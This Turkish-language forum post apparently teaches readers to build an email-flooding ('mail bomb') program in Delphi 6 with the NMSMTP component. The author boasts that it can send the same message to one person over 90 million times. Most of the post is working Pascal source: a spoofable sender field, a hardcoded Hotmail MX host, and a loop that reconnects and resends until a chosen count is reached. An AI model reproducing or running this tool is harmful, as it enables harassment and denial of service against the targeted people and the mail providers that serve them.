Mer Haba Arkadaslar Delphide Size Mail Göndemre Programının Yapılışını Anlatacağım Yanlız Delphi 6 olması şart çünkü FasNet / Compenti Delphi 7 de yok Fasnet com penti altında Nmsmtp Bileşeni Var Onu Kullanacağız
ve size burda verdiğim kodlarda Maili Aynı Anda Aynı Kişiye 90000000 küsür Sayıda Göndere Bilirsiniz...
Bi Nevi Mail Flood Olacak Bu
Ben Hem Delphi7 Hemde Delphi6 Kullanıyorum Fasnet Compenti Benim İçin Çok Önemli Olduğu İçin
Ve Son Olarak Ben Forma Mx Server Adresini ( Mail Server ) ' ı Kullanıcının Eklemesi İçin Bir Bileşen Daha Ekledim Yeni Yaptım Bunu Sonradan Aklıma Geldi Forma Bir Tane Edit Ekleyin Edit İn OnClick Olayına
Nmsmtp1.Host:= edit4.text
Yazdığınızda Örenek : mx2.mail.yahoo.com yazdığınızda Mx Geçerli İse Çalışacaktır bağlanacaktır
Şimdi Arkadaslar
Ekleyeceğiniz Bileşenlerin Hepsi
Type Altında Bulunuyor Tabi Ben Ufak Bi Göresellik Verdiğim İçin Ekten Olan Şeyler VAr
Benim Form Um Buşekilde
Resimlerin Görüntülenmesine Izin Verilmiyor
Resimleri Görebilmek Için
Üye Ol veya
Giris Yap
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Psock, NMsmtp, Spin, StdCtrls, Menus;
type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
GroupBox1: TGroupBox;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
GroupBox2: TGroupBox;
Memo1: TMemo;
GroupBox3: TGroupBox;
SpinEdit1: TSpinEdit;
ComboBox1: TComboBox;
Button1: TButton;
Label8: TLabel;
Label9: TLabel;
GroupBox4: TGroupBox;
Label7: TLabel;
Label3: TLabel;
Label2: TLabel;
Label1: TLabel;
Label10: TLabel;
Label11: TLabel;
Label12: TLabel;
Label13: TLabel;
MainMenu1: TMainMenu;
Dosya1: TMenuItem;
Kapat1: TMenuItem;
Yardm1: TMenuItem;
procedure Button1Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
procedure NMSMTP1Connect(Sender: TObject);
procedure NMSMTP1Success(Sender: TObject);
procedure Kapat1Click(Sender: TObject);
procedure Yardm1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
uses Unit2;
{$R *.dfm}
{$I-}
procedure TForm1.Button1Click(Sender: TObject);
begin
try
Nmsmtp1.Connect;
except
end;
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
begin
if ComboBox1.ItemIndex=0 then
Nmsmtp1.Host:='2034553278.pamx1.hotmail.com'
end;
procedure TForm1.NMSMTP1Connect(Sender: TObject);
begin
try
Nmsmtp1.PostMessage.ToAddress.Text:=edit1.Text;
Nmsmtp1.PostMessage.Subject:=edit3.Text;
Nmsmtp1.PostMessage.FromAddress :=edit2.Text;
Nmsmtp1.PostMessage.Body.Text:=memo1.Lines.Text;
label1.Caption:='Bağlı';
Nmsmtp1.SendMail;
except
end;
end;
procedure TForm1.NMSMTP1Success(Sender: TObject);
var
x:integer;
begin
label7.Caption:='Gönderildi';
x:=x+1;
label3.Caption:=inttostr(x);
if SpinEdit1.Value<>x then
Nmsmtp1.Connect;
try
Nmsmtp1.Disconnect;
label2.Caption:='OK';
except
end;
end;
